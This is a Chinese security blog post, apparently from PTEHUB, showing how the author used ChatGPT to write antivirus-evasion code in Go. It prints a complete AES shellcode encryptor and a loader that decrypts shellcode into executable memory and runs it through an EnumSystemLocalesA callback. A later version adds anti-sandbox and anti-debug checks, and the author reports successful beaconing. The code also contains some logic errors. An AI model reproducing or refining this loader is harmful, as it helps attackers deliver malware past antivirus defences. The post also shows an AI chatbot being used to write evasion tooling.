网站发布的靶场项目中涉及的任何脚本,仅用于测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。
本文内靶场
所有资源文件,禁止任何公众号、自媒体进行任何形式的转载、发布。
PTEHUB
对任何思路、脚本及工具问题概不负责,包括但不限于由任何脚本错误导致的任何损失或损害.
文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,包括但不限于建立VPS或在某些行为违反国家/地区法律或相关法规的情况下进行传播, PTEHUB
对于由此引起的任何隐私泄漏或其他任何法律后果概不负责。
如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。
以任何方式查看或使用此项目的人或直接或间接使用项目的任何脚本的使用者都应仔细阅读此声明。PTEHUB
保留随时更改或补充此免责声明的权利。一旦使用访问 PTEHUB
项目,则视为您已接受此免责声明。
您访问或者使用了
PTEHUB
,则视为已接受
此声明,请仔细阅读
您在本声明未发出之时使用或者访问了 PTEHUB
,则视为已接受
此声明,请仔细阅读
咳咳,好久没更新了,今天主动来水一篇文章。(没人逼我!!!)
事情的起因还得从前两天那个ChatGPT(至于怎么注册网上应该有很多文章了)说起,本来以为也是个智障东西,结果发现对于我这种脚本老子还挺好用,这篇文章以免杀为例让大家深刻体会标题的含义。
不多逼逼,直接上操作(免杀基本原理不懂得可以看之前文章)。
输入需求它就会自动生成代码。
对生成的代码直接新建项目copy进去即可(加密shellcode单独建个项目单纯的只用来加密),后将字符串内容替换为要加密的shellcode并更改密钥。
看下效果。
代码如下:
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
)
func main() {
// 定义密钥
key := []byte("密钥")
// 定义明文字符串
plaintext := []byte("shellcode")
// 使用密钥和明文字符串创建一个AES加密器
block, err := aes.NewCipher(key)
if err != nil {
panic(err)
}
// 计算出加密器需要的填充长度
padding := aes.BlockSize - len(plaintext)%aes.BlockSize
// 使用填充长度创建一个填充字符串
paddingText := bytes.Repeat([]byte{byte(padding)}, padding)
// 将填充字符串添加到明文字符串末尾,得到需要加密的字符串
encryptedText := append(plaintext, paddingText...)
// 创建一个存储密文的切片
ciphertext := make([]byte, len(encryptedText))
// 使用加密器对需要加密的字符串进行加密,得到密文
mode := cipher.NewCBCEncrypter(block, key)
mode.CryptBlocks(ciphertext, encryptedText)
// 将密文进行base64编码,得到最终的加密结果
encodedCiphertext := base64.StdEncoding.EncodeToString(ciphertext)
fmt.Println(encodedCiphertext)
}
再新建一个项目做为主题程序,把解密代码复制进去,并替换需要解密的字符串。
接下来需要一个shellcode loader。这里截取它给出的部分代码。
看下效果可以成功上线。
代码如下:
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"golang.org/x/sys/windows"
"syscall"
"unsafe"
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
EnumSystemLocalesA = kernel32.MustFindProc("EnumSystemLocalesA")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
func main() {
key := []byte("密钥")
encodedCiphertext := "加密后的shellcode"
block, err := aes.NewCipher(key)
if err != nil {
panic(err)
}
padding := aes.BlockSize - len(encodedCiphertext)%aes.BlockSize
decodedCiphertext, err := base64.StdEncoding.DecodeString(encodedCiphertext)
if err != nil {
panic(err)
}
decryptedText := make([]byte, len(decodedCiphertext))
mode := cipher.NewCBCDecrypter(block, key)
mode.CryptBlocks(decryptedText, decodedCiphertext)
decryptedText = bytes.TrimRight(decryptedText, string(padding))
addr, err := windows.VirtualAlloc(0, uintptr(len(decryptedText)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil {
fmt.Println(err)
return
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decryptedText[0])), uintptr(len(decryptedText)))
if err != nil {
EnumSystemLocalesA.Call(addr, 0)
return
}
}
编译出来看下效果。
静态没问题。
动态查杀一定会出问题,再加一个随机内存跳跃吧。
在加个反沙箱。
再来个检测调试。
完整代码如下:
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"golang.org/x/sys/windows"
"math/rand"
"os"
"runtime"
"syscall"
"unsafe"
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
EnumSystemLocalesA = kernel32.MustFindProc("EnumSystemLocalesA")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
func main() {
if runtime.GOOS == "windows" {
b := make([]byte, 1)
rand.Read(b)
if b[0] != 0 {
pc, _, _, ok := runtime.Caller(0)
if !ok {
}
fn := runtime.FuncForPC(pc).Name()
if fn != "main.main" {
os.Exit(1)
return
}
key := []byte("S2JRdeuEyxuXdtoZ")
encodedCiphertext := "加密后的shellcode"
array := rand.Perm(10)
for i := 0; i < 5; i++ {
rand.Intn(len(array))
}
block, err := aes.NewCipher(key)
if err != nil {
panic(err)
}
padding := aes.BlockSize - len(encodedCiphertext)%aes.BlockSize
decodedCiphertext, err := base64.StdEncoding.DecodeString(encodedCiphertext)
if err != nil {
panic(err)
}
decryptedText := make([]byte, len(decodedCiphertext))
mode := cipher.NewCBCDecrypter(block, key)
mode.CryptBlocks(decryptedText, decodedCiphertext)
decryptedText = bytes.TrimRight(decryptedText, string(padding))
addr, err := windows.VirtualAlloc(0, uintptr(len(decryptedText)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil {
fmt.Println(err)
return
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decryptedText[0])), uintptr(len(decryptedText)))
if err != nil {
EnumSystemLocalesA.Call(addr, 0)
return
}
} else {
os.Exit(1)
}
}
}
再次编译测试。
emmmmm,看吧。
具体大家可以自行深入开发深入调教,以上只是一个简单的示范。
1.关注公众号回复关键词 入群 获取群二维码
2.扫码入群回复关键词 靶场密钥 获取登录账户
3.扫码入群回复关键词 靶场列表 获取所有在线靶场IP
由宝鸡恩酷电子网络科技有限公司(零遁)提供网络技术支撑
往期推荐